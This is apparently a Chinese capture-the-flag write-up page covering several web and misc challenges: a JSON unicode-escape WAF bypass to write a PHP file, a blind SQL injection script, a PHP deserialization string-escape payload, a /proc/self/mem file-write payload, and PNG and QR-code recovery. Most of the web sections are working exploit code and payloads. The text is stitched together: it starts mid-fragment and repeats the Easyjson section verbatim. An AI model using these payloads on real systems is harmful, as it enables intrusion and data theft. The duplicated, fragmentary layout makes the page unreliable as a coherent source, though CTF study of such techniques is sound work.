    backend.php?readfile=/readflag>/tmp/i_o_u_hlq&writefile=/proc/self/mem&buffer=%90%65%f8%f5%ff%7f&offset=15333784
  • 直接读取/tmp/i_o_u_hlq就可以直接getflag

WechatIMG2879

参考

前言

太菜了只做了一道

Easyjson

  • 代码审计
 <?php
include 'security.php';

if(!isset($_GET['source'])){
    show_source(__FILE__);
    die();
}
$sandbox = 'sandbox/'.sha1($_SERVER['HTTP_X_FORWARDED_FOR']).'/';
var_dump($sandbox);
if(!file_exists($sandbox)){
    mkdir($sandbox);
    file_put_contents($sandbox."index.php","<?php echo 'Welcome To Dbapp OSS.';?>");
}
$action = $_GET['action'];
$content = file_get_contents("php://input");


if($action == "write" &&  SecurityCheck('filename',$_GET['filename']) &&SecurityCheck('content',$content)){
    $content = json_decode($content);
    $filename = $_GET['filename'];
    $filecontent = $content->content;
    $filename = $sandbox.$filename;
    file_put_contents($filename,$filecontent."\n Powered By Dbapp OSS.");
}elseif($action == "reset"){
    $files = scandir($sandbox);
    foreach($files as $file) {
        if(!is_dir($file)){
            if($file !== "index.php"){
                unlink($sandbox.$file);
            }
        }
    }
}
else{
    die('Security Check Failed.');
}
  • 代码主要部分在,但是这里有一个waf对文件名和content参数进行过滤。简单Fuzz了一下,filename可以使用php后缀,说明可以写php文件,但是有一个很关键的问题就是content它传来必须是一个json,json中有一个属性是content,例如:{'content':'<?=phpinfo()?>'}但是waf对json进行了过滤,不能存在content这个字符串(还过滤了其他关键字)。
if($action == "write" &&  SecurityCheck('filename',$_GET['filename']) &&SecurityCheck('content',$content)){
    $content = json_decode($content);
    $filename = $_GET['filename'];
    $filecontent = $content->content;
    $filename = $sandbox.$filename;
    file_put_contents($filename,$filecontent."\n Powered By Dbapp OSS.");
}

WX20201009-001234@2x

  • 神小密圈发现,json支持的字符中可以支持unicode编码,那么我们全都用unicode编码来代替字符串不就行了?

WechatIMG59

WechatIMG72

  • 简单写个脚本来将字符串转化为unicode编码。
<?php

function unicode_encode($str){
    $table = [
            '\u002'=>[' ','!','"','#','$','%','&','\'','(',')','*','+',',','-','.','/'],
            '\u003'=>['0','1','2','3','4','5','6','7','8','9',':',';','<','=','>','?'],
            '\u004'=>['@','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O'],
            '\u005'=>['P','Q','R','S','T','U','V','W','X','Y','Z','[','\\',']','^','_'],
            '\u006'=>['`','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o'],
            '\u007'=>['p','q','r','s','t','u','v','w','x','y','z','{','|','}','~']
];
    foreach ($table as $key => $value) {
        $i = 0;
        foreach ($value as $vcode) {
            $i=$i+1;
            if($str==$vcode){
                return $key.bin2e($i-1);
            }

        }
    }

}

function bin2e($str){
    switch ($str) {
        case '10':
            return 'a';
            break;
        case '11':
            return 'b';
            break;
        case '12':
            return 'c';
            break;
        case '13':
            return 'd';
            break;
        case '14':
            return 'e';
            break;
        case '15':
            return 'f';
            break;
        default:
            return $str;
            break;
    }
}

function main($str){
for($i=0;$i<strlen($str);$i++){
    echo unicode_encode($str[$i]);
}
}


main('<?=phpinfo()?>');
?>

WX20201009-000458@2x

  • EXP

WX20201009-000600@2x

WX20201009-000806@2x

  • Getflag

WX20201009-001124@2x

WX20201009-000938@2x

WEB1

  • 右键看源码有提示:SQL语句中两个变量可以控制。
  • 同时可以得知真正的flag在real_flagflag字段中

ciscn_final_1

  • 手动fuzz发现两边过滤的字符是不一样的。过滤了很多,在测试时候发现select语句是没有被过滤的,但是union是被过滤了。
  • id能用的有减号、/*or
  • limit能用的有括弧、*/
  • 这就很明显了。/**/正好可以注释掉limit
  • 然后用select查询出flag,将flag切片转换为aiisc码,然后用数字与之相减,如果相减得到0那就是Ture
  • 先构造大概原理的伪代码
SELECT * FROM fake_flag WHERE id = 3 or 102-/* limit 0,1*/ ord(mid((select group_concat(flag)from real_flag),1,1))
  • 这里有个问题就是过滤了空格。

  • 空格可以直接用\t来代替

  • 功能逗号被过滤用from....for来代替

SELECT * FROM fake_flag WHERE id = 3 or 102- /* limit 0,1*/ord(mid((select group_concat(flag)from real_flag)from(1)for(1)))
  • 脚本
import requests

flag = ""
url = "http://www.ctf.com/"
tables = r"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789{}_-"
for j in range(1,40):
    for i in tables:
        payload="?id=3%%09or%%09%d-/*&limit=10%%09and*/ord(mid((select%%09group_concat(flag)%%09from%%09real_flag)from(%d)for(1)))"%(ord(i),j)
        #print(payload)
        r = requests.get(url+payload)
        if "searched nothing" in r.text:
            flag=flag+i
            print(flag)
            break

ciscn_final_2

Web3

  • 国际惯例扫描一下,得到备份源码

WX20201007-210800@2x

  • 简单看一下源码,在lib.php存在一个反序列化点。

WX20201005-205532@2x

  • 全局搜索update查看哪里使用了这个方法,可以发现在dashboard.php存在调用update的情况。但是这里先是奖传入的内容赋值给一个数组,然后再进行序列化,传入一个waf对传入的内容进行了替换。但是waf是将部分关键字进行替换,这里可以基本确定是考察反序列化的字符逃逸问题。

WX20201005-205428@2x

  • 从源码可以知道flag就是在flag.php我们的目标就是读到flag.php源码即可。整个类最明显调用的地方就是_DESTRUCT()可以读取文件。

WX20201005-210603@2x

  • 这样目标就很明显了,我们需要控制avatar属性为flag.php,但是这里存在一个问题,就是waf是过滤了flag这个关键字,我们知道在遇到私有属性可以将小s改成S通过十六进制来代替不可见字符,同样我们可以通过十六进制来表示flag.php,这样就能轻松绕过waf的过滤,但是waf还有一个用处就是用来字符逃逸

WX20201005-213433@2x

  • waf可以将flag替换为index,这样我们替换一个flag能够逃逸一个字符。

WX20201007-205541@2x

  • 由于我们能够控制的是序列化后的一个数组,所以我们要逃逸的是这么一个对象,";s:1:"1";单引号是为了闭合前面制造逃逸的字符串,;s:1:"1";是为了给数组增加一个元素,他的值是一个对象。
";s:1:"1";O:4:"User":6:{S:8:"username";S:1:"1";S:8:"password";S:1:"1";S:3:"age";S:1:"1";S:5:"email";S:1:"1";S:12:"\00User\00avatar";S:8:"\66\6C\61\67\2E\70\68\70";S:13:"\00User\00content";S:0:"";}
  • 而上面的字符串长度为196,所以我们需要196个flag来制造逃逸。
flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";s:1:"1";O:4:"User":6:{S:8:"username";S:1:"1";S:8:"password";S:1:"1";S:3:"age";S:1:"1";S:5:"email";S:1:"1";S:12:"\00User\00avatar";S:8:"\66\6C\61\67\2E\70\68\70";S:13:"\00User\00content";S:0:"";}
  • 这里有一个问题就是我们只能用old_password来逃逸,因为dashboard.php对其他参数进行了过滤,但是old_password没有进行过滤。

WX20201007-210152@2x

  • Getflag

WX20201007-211522@2x

MISC1

  • 题目给了一张损坏了的PNG图片,在第八个chunk,length长度为0,所以要计算chunk[8]的长度。

WX20201009-085749@2x

  • Chunk的长度是这个CHUNK IDAT到下一个IDAT的长度。

WX20201009-090038@2x

  • CP下来,写个脚本计算一下长度。
<?php
$a = file_get_contents('1.txt');
echo strlen($a);
?>

WX20201009-090153@2x

  • 修改长度为21543,这样就可以将图片修复为正常的图片,得到hint,apache

WX20201009-090304@2x

misc

  • 在010编辑时候就发现,在图片的后面存在一串类似base64的东西。用万能的strings提取出来,去掉IDAT头
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
  • 解码发现存在Salted的头,应该就是openssl加密的或者AES加密的。密码应该就是apache

WX20201009-090747@2x

  • 得到结果是0101,长度是4900,开平方正好是70×70,应该是一个二维码。

WX20201009-092252@2x

  • 写个小脚本生成一下
from PIL import Image
img = Image.new('RGB',(70,70),(0,0,0))
table = [[0]*70]*70
flag=0
f = open('misc1.txt','r')
string=""
flag2=0
for i in f:
    string=string+i
for i in table:
    flag2=flag2+1
    for j in range(0,70):
        if string[flag]=='1':
            img.putpixel((int(flag2)-1,int(j)),(255,255,255))
        flag=flag+1


img.show()
f.close()

tmpx4rn2w9s

前言

太菜了只做了一道

Easyjson

  • 代码审计
 <?php
include 'security.php';

if(!isset($_GET['source'])){
    show_source(__FILE__);
    die();
}
$sandbox = 'sandbox/'.sha1($_SERVER['HTTP_X_FORWARDED_FOR']).'/';
var_dump($sandbox);
if(!file_exists($sandbox)){
    mkdir($sandbox);
    file_put_contents($sandbox."index.php","<?php echo 'Welcome To Dbapp OSS.';?>");
}
$action = $_GET['action'];
$content = file_get_contents("php://input");


if($action == "write" &&  SecurityCheck('filename',$_GET['filename']) &&SecurityCheck('content',$content)){
    $content = json_decode($content);
    $filename = $_GET['filename'];
    $filecontent = $content->content;
    $filename = $sandbox.$filename;
    file_put_contents($filename,$filecontent."\n Powered By Dbapp OSS.");
}elseif($action == "reset"){
    $files = scandir($sandbox);
    foreach($files as $file) {
        if(!is_dir($file)){
            if($file !== "index.php"){
                unlink($sandbox.$file);
            }
        }
    }
}
else{
    die('Security Check Failed.');
}
  • 代码主要部分在,但是这里有一个waf对文件名和content参数进行过滤。简单Fuzz了一下,filename可以使用php后缀,说明可以写php文件,但是有一个很关键的问题就是content它传来必须是一个json,json中有一个属性是content,例如:{'content':'<?=phpinfo()?>'}但是waf对json进行了过滤,不能存在content这个字符串(还过滤了其他关键字)。
if($action == "write" &&  SecurityCheck('filename',$_GET['filename']) &&SecurityCheck('content',$content)){
    $content = json_decode($content);
    $filename = $_GET['filename'];
    $filecontent = $content->content;
    $filename = $sandbox.$filename;
    file_put_contents($filename,$filecontent."\n Powered By Dbapp OSS.");
}

WX20201009-001234@2x

  • 神小密圈发现,json支持的字符中可以支持unicode编码,那么我们全都用unicode编码来代替字符串不就行了?

WechatIMG59

WechatIMG72

  • 简单写个脚本来将字符串转化为unicode编码。
<?php

function unicode_encode($str){
    $table = [
            '\u002'=>[' ','!','"','#','$','%','&','\'','(',')','*','+',',','-','.','/'],
            '\u003'=>['0','1','2','3','4','5','6','7','8','9',':',';','<','=','>','?'],
            '\u004'=>['@','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O'],
            '\u005'=>['P','Q','R','S','T','U','V','W','X','Y','Z','[','\\',']','^','_'],
            '\u006'=>['`','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o'],
            '\u007'=>['p','q','r','s','t','u','v','w','x','y','z','{','|','}','~']
];
    foreach ($table as $key => $value) {
        $i = 0;
        foreach ($value as $vcode) {
            $i=$i+1;
            if($str==$vcode){
                return $key.bin2e($i-1);
            }

        }
    }

}

function bin2e($str){
    switch ($str) {
        case '10':
            return 'a';
            break;
        case '11':
            return 'b';
            break;
        case '12':
            return 'c';
            break;
        case '13':
            return 'd';
            break;
        case '14':
            return 'e';
            break;
        case '15':
            return 'f';
            break;
        default:
            return $str;
            break;
    }
}

function main($str){
for($i=0;$i<strlen($str);$i++){
    echo unicode_encode($str[$i]);
}
}


main('<?=phpinfo()?>');
?>

WX20201009-000458@2x

  • EXP

WX20201009-000600@2x

WX20201009-000806@2x

  • Getflag

WX20201009-001124@2x

WX20201009-000938@2x